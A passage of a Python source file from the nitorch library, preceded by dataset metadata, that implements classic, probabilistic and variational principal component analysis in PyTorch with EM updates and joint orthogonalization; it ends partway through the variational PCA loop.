| 35.489943 | 151 | 0.545848 | 3,739 | 24,701 | 3.489436 | 0.074351 | 0.032651 | 0.043535 | 0.048747 | 0.858588 | 0.82655 | 0.797425 | 0.776194 | 0.766306 | 0.756496 | 0 | 0.024561 | 0.324197 | 24,701 | 695 | 152 | 35.541007 | 0.757024 | 0.254403 | 0 | 0.722892 | 0 | 0 | 0.016029 | 0 | 0 | 0 | 0 | 0 | 0.003012 | 1 | 0.081325 | false | 0 | 0.01506 | 0.01506 | 0.180723 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9941250cf6bca43e5cb8775b4a268da1aa0fdd2a | 43,554 | py | Python | nitorch/vb/pca.py | balbasty/nitorch | d30c3125a8a66ea1434f2b39ed03338afd9724b4 | [
"MIT"
] | 46 | 2020-07-31T10:14:05.000Z | 2022-03-24T12:51:46.000Z | nitorch/vb/pca.py | balbasty/nitorch | d30c3125a8a66ea1434f2b39ed03338afd9724b4 | [
"MIT"
] | 36 | 2020-10-06T19:01:38.000Z | 2022-02-03T18:07:35.000Z | nitorch/vb/pca.py | balbasty/nitorch | d30c3125a8a66ea1434f2b39ed03338afd9724b4 | [
"MIT"
] | 6 | 2021-01-05T14:59:05.000Z | 2021-11-18T18:26:45.000Z | """Various flavors of component/factor analysis"""
import torch
from nitorch.core import utils, linalg
# TODO: the convention is not the same between pca and ppca in terms
# of which factor is scaled and which is unitary.
# Currently, pca returns a unitary basis whereas ppca returns
# unitary latent coordinates.
# We could have an option to specify which side should be normalized?
# Or return the (diagonal) covariance matrix as well?
def pca(x, nb_components=None, mean=None,
returns='latent+basis+scale', norm='latent+basis'):
"""Principal Component Analysis
Factorize a NxM matrix X into the product ZSU where Z is NxK and
unitary, U is KxM and unitary, and S is KxK and diagonal.
By convention, N encodes independent replicates (individuals or samples)
and M encodes correlated features, although in practice the problem
is symmetric. Following probabilistic conventions, we say that
each sample (X[n]) is encoded by "latent" coordinates (Z[n]) in an
orthogonal "basis" (U).
This function merely applies a singular value decomposition (SVD)
under the hood.
Parameters
----------
x : (..., n, m) tensor_like or sequence[callable]
Observed variables.
`n` is the number of independent variables and `m` their dimension.
If a sequence of callable, a memory efficient (but slower)
implementation is used, where tensors are loaded by calling the
corresponding callable when needed.
nb_components : int, default=`min(n, m)`
Number of principal components (k) to return.
mean : float or (..., m) tensor_like, optional
Mean tensor to subtract from all observations prior to SVD.
If None, subtract the mean of all observations.
If 0, nothing is done.
returns : combination of {'latent', 'basis', 'scale'}, default='latent+basis+scale'
Which variables to return.
norm : {'latent', 'basis', 'latent+basis', None}, default='latent+basis'
Which variable to normalize. If normalized, the corresponding
matrix is unitary (Z @ Z.T == I).
If 'latent+basis', a tensor of scales is returned.
Returns
-------
latent : (..., n, k), if 'latent' in `returns`
basis : (..., k, m), if 'basis' in `returns`
scale : (..., k), if 'scale' in `returns`
"""
if isinstance(x, (list, tuple)) and callable(x[0]):
return _pca_callable(x, nb_components, mean, returns, norm)
else:
return _pca_tensor(x, nb_components, mean, returns, norm)
def _pca_tensor(x, k, mu, returns, norm):
"""Classic implementation: subtract mean and call SVD."""
x = torch.as_tensor(x)
if mu is None:
mu = torch.mean(x, dim=-2)
nomu = isinstance(mu, (int, float)) and mu == 0
mu = torch.as_tensor(mu, **utils.backend(x))
if not nomu:
x = x - mu[..., None, :]
z, s, u = torch.svd(x, some=True)
if k:
if k > min(x.shape[-1], x.shape[-2]):
raise ValueError('Number of components cannot be larger '
'than min(N,M)')
z = z[..., k]
u = u[..., k]
s = s[..., k]
if 'latent' not in norm:
z.mul_(s[..., None, :])
if 'basis' not in norm:
u.mul_(s[..., None, :])
u = u.transpose(-1, -2)
out = []
returns = returns or ''
for var in returns.split('+'):
if var == 'latent':
out.append(z)
elif var == 'basis':
out.append(u)
elif var == 'scale':
out.append(s)
return out[0] if len(out) == 1 else tuple(out)
def _pca_callable(x, k, mu, returns, norm):
"""Implementation that loads tensors one at a time.
1) Compute the NxN covariance matrix
2) Use SVD to compute the NxK latent vectors
3) Compute the KxM basis by projection (= matmul by pseudoinversed latent)
"""
x = list(x)
n = len(x)
if callable(mu):
mu = mu()
nomu = isinstance(mu, (int, float)) and mu == 0
if mu is not None:
mu = torch.as_tensor(mu)
# infer output shape/dtype/device
shape = [mu.shape] if mu is not None else []
dtype = [mu.dtype] if mu is not None else []
device = [mu.device] if mu is not None else []
if mu is None:
mu = 0
for x1 in x:
x1 = torch.as_tensor(x1())
mu += x1
shape.append(tuple(x1.shape))
dtype.append(x1.dtype)
device.append(x1.device)
mu /= n
shape = list(utils.expanded_shape(*shape))
m = shape.pop(-1)
dtype = utils.max_dtype(dtype)
device = utils.max_device(device)
backend = dict(dtype=dtype, device=device)
mu = mu.to(**backend)
if k and k > min(n, m):
raise ValueError('Number of components cannot be larger '
'than min(N,M)')
k = k or min(n, m)
# build NxN covariance matrix
cov = torch.empty([*shape, n, n])
for n1 in range(n):
x1 = torch.as_tensor(x[n1](), **backend)
if not nomu:
x1 = x1 - mu
cov[..., n1, n1] = x1.square().sum(-1)
for n2 in range(n1+1, n):
x2 = torch.as_tensor(x[n2](), **backend)
if not nomu:
x2 = x2 - mu
x2 = x2.mul(x1).sum(-1)
cov[..., n1, n2] = x2
cov[..., n2, n1] = x2
# compute svd
z, s, _ = torch.svd(cov, some=True) # [..., n, k]
s = s.sqrt_()
z = z[..., :k]
s = s[..., :k]
if 'basis' in returns:
# build basis by projection
iz = torch.pinverse(z * s[..., None, :])
u = iz.new_zeros([*shape, k, m])
for n1 in range(n):
x1 = torch.as_tensor(x[n1](), **backend)
if not nomu:
x1 -= mu
u += iz[..., :, n1, None] * x1[..., None, :]
if 'basis' not in norm:
u *= s[..., None]
if 'latent' not in norm:
z *= s[..., None, :]
out = []
returns = returns or ''
for var in returns.split('+'):
if var == 'latent':
out.append(z)
elif var == 'basis':
out.append(u)
elif var == 'scale':
out.append(s)
return out[0] if len(out) == 1 else tuple(out)
def ppca(x, nb_components=None, mean=None, max_iter=20, tol=1e-5,
returns='latent+basis+var', verbose=False, rca=None):
"""Probabilistic Principal Component Analysis
Notes
-----
.. We manually orthogonalize the subspace within the optimization
loop so that the output subspace is orthogonal (`z.T @ z` and
`u @ u.T` are diagonal).
.. The output basis is not unitary. Each basis is scaled by
the square root of the corresponding eigenvalue of the sample
covariance minus the residual variance:
basis = unitary_basis * sqrt(lambda - sigma ** 2)
See reference [1].
.. Probabilistic residual component analysis (RCA) can be performed
instead of PCA by providing a function that applies the residual
precision matrix. See reference [2].
Parameters
----------
x : (..., n, m) tensor_like or sequence[callable]
Observed variables.
`N` is the number of independent variables and `M` their dimension.
If a sequence of callable, a memory efficient implementation is
used, where tensors are loaded by calling the corresponding callable
when needed.
nb_components : int, default=min(n, m)-1
Number of principal components (k) to return.
mean : float or (..., m) tensor_like, optional
Mean tensor to subtract from all observations prior to SVD.
If None, use the mean of all observations (maximum-likelihood).
If 0, nothing is done.
max_iter : int, default=20
Maximum number of EM iterations.
tol : float, default=1e-5
Tolerance on log model evidence for early stopping.
returns : {'latent', 'basis', 'var'}, default='latent+basis+var'
Which variables to return.
verbose : {0, 1, 2}, default=0
rca : callable, optional
A function (..., m) -> (..., m) that applies a residual precision
matrix for residual component analysis.
Returns
-------
latent : (..., n, k), if 'latent' in `returns`
Latent coordinates
basis : (..., k, m), if 'basis' in `returns`
Orthogonal basis, scaled by sqrt(eigenvalue - residual variance)
var : (...), if 'var' in `returns`
Residual variance
References
----------
..[1] "Probabilistic principal component analysis."
Tipping, Michael E. and Bishop, Christopher M.
J. R. Stat. Soc., Ser. B (1999)
..[2] "Residual Component Analysis: Generalising PCA for more
flexible inference in linear-Gaussian models."
Kalaitzis, Alfredo A. and Lawrence, Neil D.
ICML (2012)
"""
if isinstance(x, (list, tuple)) and callable(x[0]):
return _ppca_callable(x, nb_components, mean, max_iter, tol,
returns, verbose, rca)
else:
return _ppca_tensor(x, nb_components, mean, max_iter, tol,
returns, verbose, rca)
def _ppca_tensor(x, k, mu, max_iter, tol, returns, verbose=False, rca=None):
"""Implementation that assumes that all the data is in memory."""
# --- preproc ---
x = torch.as_tensor(x)
n, m = x.shape[-2:]
backend = utils.backend(x)
k = k or (min(x.shape[-1], x.shape[-2]) - 1)
eps = 1e-6
has_rca = bool(rca)
rca = rca or (lambda x: x)
# subtract mean
nomu = isinstance(mu, (float, int)) and mu == 0
if mu is None:
mu = x.mean(-2)
mu = torch.as_tensor(mu, **backend)
if not nomu:
x = x - mu.unsqueeze(-2)
# --- helpers ---
def t(x):
"""Quick transpose"""
return x.transpose(-1, -2)
def get_diag(x):
"""Quick extract diagonal as a view"""
return x.diagonal(dim1=-2, dim2=-1)
def make_diag(x):
"""Quick create diagonal matrix"""
return torch.diagonal(x, dim1=-2, dim2=-1)
def trace(x, **kwargs):
"""Batched trace"""
return get_diag(x).sum(-1, **kwargs)
def make_sym(x):
"""Make a matrux symmetric by averaging with its transpose"""
return (x + t(x)).div_(2.)
def reg(x, s):
"""Regularize matrix by adding number on the diagonal"""
return reg_(x.clone(), s)
def reg_(x, s):
"""Regularize matrix by adding number on the diagonal (inplace)"""
get_diag(x).add_(s[..., None])
return x
def inv(x):
"""Robust inverse in double"""
dtype = x.dtype
return linalg.inv(x.double()).to(dtype=dtype)
def rinv(z, s, side='l'):
"""Regularized pseudo-inverse
z : (..., N, K) matrix to invert
s : (...) weight
side : {'l', 'r'}
returns (..., K, N) -> (z.T @ z + s * I).inv() @ z.T, if 'l'
(..., N, K) -> (z @ z.T + s * I).inv() @ z, if 'r'
"""
if side[0] == 'l':
zz = make_sym(t(z).matmul(z))
zz = inv(reg_(zz, s))
z = zz.matmul(t(z))
else:
zz = make_sym(z.matmul(t(z)))
zz = inv(reg_(zz, s))
z = zz.matmul(z)
return z
def joint_ortho(zz, uu):
"""Joint orthogonalization of two matrices:
Find T such that T' @ A @ T and inv(T) @ B @ inv(T') are diagonal.
Since the scaling is arbitrary, we make A unitary and B diagonal.
"""
vz, sz, _ = torch.svd(zz)
vu, su, _ = torch.svd(uu)
su = su.sqrt_()
sz = sz.sqrt_()
vsz = vz * sz[..., None, :]
vsu = vu * su[..., None, :]
v, s, w = torch.svd(torch.matmul(t(vsz), vsu))
w *= s[..., None, :]
eu = get_diag(vu).abs().max(-1).values[..., None]
su = torch.max(su, eu * 1e-3)
vu /= su[..., None, :]
ez = get_diag(vz).abs().max(-1).values[..., None]
sz = torch.max(sz, ez * 1e-3)
vz /= sz[..., None, :]
q = vz.matmul(v)
iq = t(w).matmul(t(vu))
return q, iq
def rescale(uu, s):
"""Rescale after orthonormalization to optimize log-evidence.
uu : (*batch, K, K) - basis product (u @ u.T) !!must be diagonal!!
s : (*batch) - Residual variance
"""
# The objective function that I optimize here is the one computed
# in `logev`, so it takes into account an "immediate" update
# of the posterior covariance. This means that the scaling is
# only applied to the basis u (and to the mean of z), and the latent
# covariance is immediately updated according to:
# Sz = inv(inv_scale(uu) + s*I)
# In the shape (& appearance) papers, we kept the posterior
# covariance fixed (under VB) and scaled it along with the mean:
# z = scale(z)
# Sz = scale(Sz)
a = s[..., None] / get_diag(uu)
scl = (1 + (1 + 4 * a * n).sqrt()) / (2*n)
return scl.reciprocal_().sqrt_()
def logev(r, z, uu, s):
"""Negative log-evidence
r : (*batch) - squared residuals summed across N and M
z : (*batch, N, K) - latent variables
uu : (*batch, K, K) - basis product (u @ u.T)
s : (*batch) - Residual variance
"""
# It is not exactly computed in a EM fashion because we
# compute the posterior covariance of z inside the function (with
# the most recent sigma) even though sigma was updated while
# assuming the posterior covariance fixed.
r = (r/s).sum()
z = z.square().sum([-1, -2])
z = z.sum()
# uncertainty
unc = reg(uu, s).logdet() - s.log() * k
unc = unc.sum() * n
# log sigma
s = s.log().sum() * (n * m)
tot = (r + z + s + unc)
# print(f'{r.item() / (n*m):6f} | {z.item() / (n*m):6f} | '
# f'{s.item() / (n*m):6f} | {unc.item() / (n*m):6f} | '
# f'{tot.item() / (n*m):6f}')
return 0.5 * tot / (n*m)
# --- initialization ---
# init residual var with 10% of full var
if has_rca:
s = (x * rca(x)).mean([-1, -2]).mul_(0.1)
else:
s = x.square().mean([-1, -2]).mul_(0.1)
# init latent with random orthogonal tensor
z = torch.randn([*x.shape[:-1], k], **backend)
z, _, _ = torch.svd(z, some=True)
# init basis
iz = rinv(z, s, 'l')
u = iz.matmul(x)
uu = make_sym(u.matmul(t(rca(u))))
# init log-evidence
if has_rca:
r = (x - z.matmul(u))
r = (r * rca(r)).sum([-1, -2])
else:
r = (x - z.matmul(u)).square_().sum([-1, -2])
l0 = l1 = logev(r, z, uu, s)
if verbose:
end = '\n' if verbose > 1 else '\r'
print(f'{0:3d} | {l0.item():6f}', end=end)
for n_iter in range(max_iter):
# update latent
im = inv(reg(uu, s))
z = x.matmul(t(rca(u))).matmul(im) # < E[Z]
zz = make_sym(t(z).matmul(z)) # < E[Z].T @ E[Z]
tiny = eps * get_diag(zz).abs().max(-1).values
sz = im * s[..., None, None].clamp_min(tiny) # < Cov[Z[n]]
zz += n * sz # < E[Z.T @ Z]
# update basis
u = inv(zz).matmul(t(z)).matmul(x)
uu = make_sym(u.matmul(t(rca(u))))
# update sigma
sz = s * inv(reg(uu, s))
if has_rca:
r = (x - z.matmul(u))
r = (r * rca(r)).sum([-1, -2])
else:
r = (x - z.matmul(u)).square_().sum([-1, -2])
s = r / (n*m) + trace(sz.matmul(uu)) / m # residuals + uncertainty
# orthogonalize
zz = make_sym(t(z).matmul(z))
q, iq = joint_ortho(zz, uu)
scl = rescale(iq.matmul(uu).matmul(t(iq)), s)
q *= scl[..., None, :]
iq /= scl[..., None]
uu = iq.matmul(uu).matmul(t(iq))
z = z.matmul(q)
u = iq.matmul(u)
# update log-evidence
l = logev(r, z, uu, s)
gain = (l1-l)/(l0 - l)
if verbose:
end = '\n' if verbose > 1 else '\r'
print(f'{n_iter+1:3d} | {l.item():6f} | '
f'{gain.item():.3e} ({"-" if l < l1 else "+"})', end=end)
if abs(gain) < tol:
break
l1 = l
if verbose < 2:
print('')
out = []
returns = returns.split('+')
for ret in returns:
if ret == 'latent':
out.append(z)
elif ret == 'basis':
out.append(u)
elif ret == 'var':
out.append(s)
return out[0] if len(out) == 0 else tuple(out)
def _ppca_callable(x, k, mu, max_iter, tol, returns, verbose=False, rca=None):
"""Inline implementation that loads data only when needed."""
# --- preproc ---
x = list(x)
n = len(x)
if callable(mu):
mu = mu()
nomu = isinstance(mu, (int, float)) and mu == 0
if mu is not None:
mu = torch.as_tensor(mu)
# infer output shape/dtype/device
shape = [mu.shape] if mu is not None else []
dtype = [mu.dtype] if mu is not None else []
device = [mu.device] if mu is not None else []
if mu is None:
mu = 0
for x1 in x:
x1 = torch.as_tensor(x1())
mu += x1
shape.append(tuple(x1.shape))
dtype.append(x1.dtype)
device.append(x1.device)
mu /= n
shape = list(utils.expanded_shape(*shape))
m = shape.pop(-1)
dtype = utils.max_dtype(dtype)
device = utils.max_device(device)
backend = dict(dtype=dtype, device=device)
mu = mu.to(**backend)
has_rca = bool(rca)
rca = rca or (lambda x: x)
k = k or (min(n, m) - 1)
eps = 1e-6
# --- helpers ---
def t(x):
"""Quick transpose"""
return x.transpose(-1, -2)
def get_diag(x):
"""Quick extract diagonal as a view"""
return x.diagonal(dim1=-2, dim2=-1)
def make_diag(x):
"""Quick create diagonal matrix"""
return torch.diagonal(x, dim1=-2, dim2=-1)
def trace(x, **kwargs):
"""Batched trace"""
return get_diag(x).sum(-1, **kwargs)
def make_sym(x):
"""Make a matrux symmetric by averaging with its transpose"""
return (x + t(x)).div_(2.)
def reg(x, s):
"""Regularize matrix by adding number on the diagonal"""
return reg_(x.clone(), s)
def reg_(x, s):
"""Regularize matrix by adding number on the diagonal (inplace)"""
get_diag(x).add_(s[..., None])
return x
def inv(x):
"""Robust inverse in double"""
dtype = x.dtype
return linalg.inv(x.double()).to(dtype=dtype)
def rinv(z, s, side='l'):
"""Regularized pseudo-inverse
z : (..., N, K) matrix to invert
s : (...) weight
side : {'l', 'r'}
returns (..., K, N) -> (z.T @ z + s * I).inv() @ z.T, if 'l'
(..., N, K) -> (z @ z.T + s * I).inv() @ z, if 'r'
"""
if side[0] == 'l':
zz = make_sym(t(z).matmul(z))
zz = inv(reg_(zz, s))
z = zz.matmul(t(z))
else:
zz = make_sym(z.matmul(t(z)))
zz = inv(reg_(zz, s))
z = zz.matmul(z)
return z
def joint_ortho(zz, uu):
"""Joint orthogonalization of two matrices:
Find T such that T' @ A @ T and inv(T) @ B @ inv(T') are diagonal.
Since the scaling is arbitrary, we make A unitary and B diagonal.
"""
vz, sz, _ = torch.svd(zz)
vu, su, _ = torch.svd(uu)
su = su.sqrt_()
sz = sz.sqrt_()
vsz = vz * sz[..., None, :]
vsu = vu * su[..., None, :]
v, s, w = torch.svd(torch.matmul(t(vsz), vsu))
w *= s[..., None, :]
eu = get_diag(vu).abs().max(-1).values[..., None]
su = torch.max(su, eu * 1e-3)
vu /= su[..., None, :]
ez = get_diag(vz).abs().max(-1).values[..., None]
sz = torch.max(sz, ez * 1e-3)
vz /= sz[..., None, :]
q = vz.matmul(v)
iq = t(w).matmul(t(vu))
return q, iq
def rescale(uu, s):
"""Rescale after orthonormalization to optimize log-evidence.
uu : (*batch, K, K) - basis product (u @ u.T) !!must be diagonal!!
s : (*batch) - Residual variance
"""
# The objective function that I optimize here is the one computed
# in `logev`, so it takes into account an "immediate" update
# of the posterior covariance. This means that the scaling is
# only applied to the basis u (and to the mean of z), and the latent
# covariance is immediately updated according to:
# Sz = inv(inv_scale(uu) + s*I)
# In the shape (& appearance) papers, we kept the posterior
# covariance fixed (under VB) and scaled it along with the mean:
# z = scale(z)
# Sz = scale(Sz)
a = s[..., None] / get_diag(uu)
scl = (1 + (1 + 4 * a * n).sqrt()) / (2*n)
return scl.reciprocal_().sqrt_()
def logev(r, z, uu, s):
"""Negative log-evidence
r : (*batch) - squared residuals summed across N and M
z : (*batch, N, K) - latent variables
uu : (*batch, K, K) - basis product (u @ u.T)
s : (*batch) - Residual variance
"""
# It is not exactly computed in a EM fashion because we
# compute the posterior covariance of z inside the function (with
# the most recent sigma) even though sigma was updated while
# assuming the posterior covariance fixed.
r = (r/s).sum()
z = z.square().sum([-1, -2])
z = z.sum()
# uncertainty
unc = reg(uu, s).logdet() - s.log() * k
unc = unc.sum() * n
# log sigma
s = s.log().sum() * (n * m)
tot = (r + z + s + unc)
# print(f'{r.item() / (n*m):6f} | {z.item() / (n*m):6f} | '
# f'{s.item() / (n*m):6f} | {unc.item() / (n*m):6f} | '
# f'{tot.item() / (n*m):6f}')
return 0.5 * tot / (n*m)
def matmul(x, y, out=None):
"""Matmul where one of the inputs is a list of callable"""
if isinstance(x, list):
if out is None:
out = y.new_empty(n, y.shape[-1])
for i, x1 in enumerate(x):
x1 = x1()
if not nomu:
x1 -= mu
out[..., i, :] = x1[..., None, :].matmul(y)[..., 0, :]
elif isinstance(y, list):
if out is None:
out = x.new_empty(x.shape[-2], m)
out.zero_()
for i, y1 in enumerate(y):
y1 = y1()
if not nomu:
y1 -= mu
out += x[..., i, None] * y1[..., None]
return out
def get_sqres(x, z, u, out=None):
"""Compute sum of squared residuals"""
if out is None:
out = z.new_empty(shape)
out.zero_()
for i, x1 in enumerate(x):
recon = (z[..., n, :, None] * u).sum(-2)
x1 = x1()
if not nomu:
x1 -= mu
x1 -= recon
if has_rca:
out += (x1 * rca(x1)).sum(-1)
else:
out += x1.square_().sum(-1)
return out
def var(x):
out = torch.zeros(shape, **backend)
for x1 in x:
x1 = x1()
if not nomu:
x1 -= mu
if has_rca:
out += (x1 * rca(x1)).sum(-1)
else:
out += x1.square_().sum(-1)
out /= (n*m)
return out
# --- initialization ---
# init residual var with 10% of full var
s = var(x).mul_(0.1)
# init latent with random orthogonal tensor
z = torch.randn([*shape, n, k], **backend)
z, _, _ = torch.svd(z, some=True)
# init basis
iz = rinv(z, s, 'l')
u = matmul(iz, x)
uu = make_sym(u.matmul(t(rca(u))))
# init log-evidence
r = get_sqres(x, z, u)
l0 = l1 = logev(r, z, uu, s)
if verbose:
end = '\n' if verbose > 1 else '\r'
print(f'{0:3d} | {l0.item():6f}', end=end)
for n_iter in range(max_iter):
# update latent
im = inv(reg(uu, s))
z = matmul(x, t(rca(u)), out=z).matmul(im) # < E[Z]
zz = make_sym(t(z).matmul(z)) # < E[Z].T @ E[Z]
tiny = eps * get_diag(zz).abs().max(-1).values
sz = im * s[..., None, None].clamp_min(tiny) # < Cov[Z[n]]
zz += n * sz # < E[Z.T @ Z]
# update basis
u = matmul(inv(zz).matmul(t(z)), x, out=u)
uu = make_sym(u.matmul(t(rca(u))))
# update sigma
sz = s * inv(reg(uu, s))
r = get_sqres(x, z, u, out=r)
s = r / (n*m) + trace(sz.matmul(uu)) / m # residuals + uncertainty
# orthogonalize
zz = make_sym(t(z).matmul(z))
q, iq = joint_ortho(zz, uu)
scl = rescale(iq.matmul(uu).matmul(t(iq)), s)
q *= scl[..., None, :]
iq /= scl[..., None]
uu = iq.matmul(uu).matmul(t(iq))
z = z.matmul(q)
u = iq.matmul(u)
# update log-evidence
l = logev(r, z, uu, s)
gain = (l1-l)/(l0 - l)
if verbose:
end = '\n' if verbose > 1 else '\r'
print(f'{n_iter+1:3d} | {l.item():6f} | '
f'{gain.item():.3e} ({"-" if l < l1 else "+"})', end=end)
if abs(gain) < tol:
break
l1 = l
if verbose < 2:
print('')
out = []
returns = returns.split('+')
for ret in returns:
if ret == 'latent':
out.append(z)
elif ret == 'basis':
out.append(u)
elif ret == 'var':
out.append(s)
return out[0] if len(out) == 0 else tuple(out)
def vpca(x, nb_components=None, mean=None, max_iter=20, tol=1e-5,
returns='latent+basis+var', verbose=False, rca=None):
"""Variational Principal Component Analysis
Notes
-----
.. We manually orthogonalize the subspace within the optimization
loop so that the output subspace is orthogonal (`E[z.T @ z]` and
`E[u @ u.T]` are diagonal).
.. The output basis is not unitary.
.. Variational residual component analysis (RCA) can be performed
instead of PCA by providing a function that applies the residual
precision matrix. See reference [2].
Parameters
----------
x : (..., n, m) tensor_like or sequence[callable]
Observed variables.
`N` is the number of independent variables and `M` their dimension.
If a sequence of callable, a memory efficient implementation is
used, where tensors are loaded by calling the corresponding callable
when needed.
nb_components : int, default=min(n, m)-1
Number of principal components (k) to return.
mean : float or (..., m) tensor_like, optional
Mean tensor to subtract from all observations prior to SVD.
If None, use the mean of all observations (maximum-likelihood).
If 0, nothing is done.
max_iter : int, default=20
Maximum number of EM iterations.
tol : float, default=1e-5
Tolerance on log model evidence for early stopping.
returns : {'latent', 'basis', 'var'}, default='latent+basis+var'
Which variables to return.
verbose : {0, 1, 2}, default=0
rca : callable, optional
A function (..., m) -> (..., m) that applies a residual precision
matrix for residual component analysis.
Returns
-------
latent : (..., n, k), if 'latent' in `returns`
Latent coordinates
basis : (..., k, m), if 'basis' in `returns`
Orthogonal basis, scaled by sqrt(eigenvalue - residual variance)
var : (...), if 'var' in `returns`
Residual variance
References
----------
..[1] "Variational principal components."
Bishop, Christopher M.
ICANN (1999)
..[2] "Residual Component Analysis: Generalising PCA for more
flexible inference in linear-Gaussian models."
Kalaitzis, Alfredo A. and Lawrence, Neil D.
ICML (2012)
"""
if isinstance(x, (list, tuple)) and callable(x[0]):
raise NotImplementedError
# TODO
# return _vpca_callable(x, nb_components, mean, max_iter, tol,
# returns, verbose, rca)
else:
return _vpca_tensor(x, nb_components, mean, max_iter, tol,
returns, verbose, rca)
def _vpca_tensor(x, k, mu, max_iter, tol, returns, verbose=False, rca=None):
"""Implementation that assumes that all the data is in memory."""
# --- preproc ---
x = torch.as_tensor(x)
n, m = x.shape[-2:]
backend = utils.backend(x)
k = k or (min(x.shape[-1], x.shape[-2]) - 1)
eps = 1e-6
has_rca = bool(rca)
rca = rca or (lambda x: x)
# subtract mean
nomu = isinstance(mu, (float, int)) and mu == 0
if mu is None:
mu = x.mean(-2)
mu = torch.as_tensor(mu, **backend)
mu = mu.unsqueeze(-2)
if not nomu:
x = x - mu
# --- helpers ---
def t(x):
"""Quick transpose"""
return x.transpose(-1, -2)
def get_diag(x):
"""Quick extract diagonal as a view"""
return x.diagonal(dim1=-2, dim2=-1)
def make_diag(x):
"""Quick create diagonal matrix"""
return torch.diagonal(x, dim1=-2, dim2=-1)
def trace(x, **kwargs):
"""Batched trace"""
return get_diag(x).sum(-1, **kwargs)
def make_sym(x):
"""Make a matrux symmetric by averaging with its transpose"""
return (x + t(x)).div_(2.)
def reg(x, s):
"""Regularize matrix by adding number on the diagonal"""
return reg_(x.clone(), s)
def reg_(x, s):
"""Regularize matrix by adding number on the diagonal (inplace)"""
get_diag(x).add_(s[..., None])
return x
def inv(x):
"""Robust inverse in double"""
dtype = x.dtype
x = x.double()
scl = get_diag(x).abs().max(-1)[0].mul_(1e-5)
get_diag(x).add(scl[..., None])
return linalg.inv(x).to(dtype=dtype)
def joint_ortho(zz, uu):
"""Joint orthogonalization of two matrices:
Find T such that T' @ A @ T and inv(T) @ B @ inv(T') are diagonal.
Since the scaling is arbitrary, we make A unitary and B diagonal.
"""
vz, sz, _ = torch.svd(zz)
vu, su, _ = torch.svd(uu)
su = su.sqrt_()
sz = sz.sqrt_()
vsz = vz * sz[..., None, :]
vsu = vu * su[..., None, :]
v, s, w = torch.svd(torch.matmul(t(vsz), vsu))
w *= s[..., None, :]
eu = get_diag(vu).abs().max(-1).values[..., None]
su = torch.max(su, eu * 1e-3)
vu /= su[..., None, :]
ez = get_diag(vz).abs().max(-1).values[..., None]
sz = torch.max(sz, ez * 1e-3)
vz /= sz[..., None, :]
q = vz.matmul(v)
iq = t(w).matmul(t(vu))
return q, iq
def logev(r, zz, uu, s, a, uuzz):
"""Negative log-evidence
r : (*batch) - squared residuals summed across N and M
zz : (*batch, K, K) - latent product (E[z @ z.T])
uu : (*batch, K, K) - basis product (E[u @ u.T])
s : (*batch) - Residual variance
"""
# It is not exactly computed in a EM fashion because we
# compute the posterior covariance of z and u inside the function
# (with the most recent sigma) even though sigma was updated while
# assuming the posterior covariance fixed.
r = (r/s).sum()
z = trace(zz).sum() # this should be n*k if optimal
u = trace(uu.matmul(a)).sum() # this should be m*k if optimal
# uncertainty
unc = ((trace(uu.matmul(zz)) - uuzz)/s).sum() # uncertainty in likelihood
az = uu/s[..., None, None]
get_diag(az).add_(1)
unc += az.logdet().sum() * n # -E[log q(z)] in KL
au = zz/s[..., None, None]
au += a
unc += au.logdet().sum() * m # -E[log q(u)] in KL
# log sigma
s = s.log().sum() * (n * m)
# log prior
a = -a.logdet().sum() * m
tot = (r + z + u + s + a + unc)
# print(f'{r.item() / (n*m):6f} | {z.item() / (n*m):6f} | '
# f'{u.item() / (n*m):6f} | {s.item() / (n*m):6f} | '
# f'{a.item() / (n*m):6f} | {unc.item() / (n*m):6f} | '
# f'{tot.item() / (n*m):6f}')
return 0.5 * tot / (n*m)
# --- initialization ---
# init residual var with 10% of full var
if has_rca:
s = (x * rca(x)).mean([-1, -2]).mul_(0.1)
else:
s = x.square().mean([-1, -2]).mul_(0.1)
# init latent with random orthogonal tensor
z = torch.randn([*x.shape[:-1], k], **backend)
z, _, _ = torch.svd(z, some=True)
zz = make_sym(t(z).matmul(z))
zz += torch.eye(k, **backend) * n
# init basis
im = inv(reg(zz, s))
u = im.matmul(t(z)).matmul(x)
uu = make_sym(u.matmul(t(rca(u))))
uuzz = trace(uu.matmul(make_sym(t(z).matmul(z))))
su = im * s[..., None, None]
uu += m * su
a = inv(uu/m)
# init log-evidence
if has_rca:
r = (x - z.matmul(u))
r = (r * rca(r)).sum([-1, -2])
else:
r = (x - z.matmul(u)).square_().sum([-1, -2])
l0 = l1 = logev(r, zz, uu, s, a, uuzz)
if verbose:
end = '\n' if verbose > 1 else '\r'
print(f'{0:3d} | {l0.item():6f}', end=end)
for n_iter in range(max_iter):
# update latent
im = inv(reg(uu, s))
z = x.matmul(t(rca(u))).matmul(im) # < E[Z]
zz = make_sym(t(z).matmul(z)) # < E[Z].T @ E[Z]
sz = im * s[..., None, None] # < Cov[Z[n]]
zz += n * sz # < E[Z.T @ Z]
# update basis
im = inv(zz + a*s[..., None, None])
u = im.matmul(t(z)).matmul(x)
uu = make_sym(u.matmul(t(rca(u))))
uuzz = trace(uu.matmul(make_sym(t(z).matmul(z))))
su = im * s[..., None, None]
uu += m * su
# update sigma
if has_rca:
r = (x - z.matmul(u))
r = (r * rca(r)).sum([-1, -2])
else:
r = (x - z.matmul(u)).square_().sum([-1, -2])
s = r + trace(uu.matmul(zz)) - uuzz
s /= (n*m)
# orthogonalize (jointly)
# For rescaling, writing out the terms that depend on it and
# assuming E[zz], E[uu], Sz, Su diagonal (which they are after
# joint diagonalization) and that A is immediately ML-updated shows
# that the optimal scaling makes E[zz] an identity matrix.
q, iq = joint_ortho(zz, uu)
zz = t(q).matmul(zz).matmul(q)
scl = get_diag(zz).div(n).sqrt_()
zz = torch.eye(k, **backend).mul_(n)
q /= scl[..., None, :]
iq *= scl[..., None]
uu = iq.matmul(uu).matmul(t(iq))
z = z.matmul(q)
u = iq.matmul(u)
# update A
a = inv(uu / m)
# update log-evidence
l = logev(r, zz, uu, s, a, uuzz)
gain = (l1-l)/(l0 - l)
if verbose:
end = '\n' if verbose > 1 else '\r'
print(f'{n_iter+1:3d} | {l.item():6f} | '
f'{gain.item():.3e} ({"-" if l < l1 else "+"})', end=end)
if abs(gain) < tol:
break
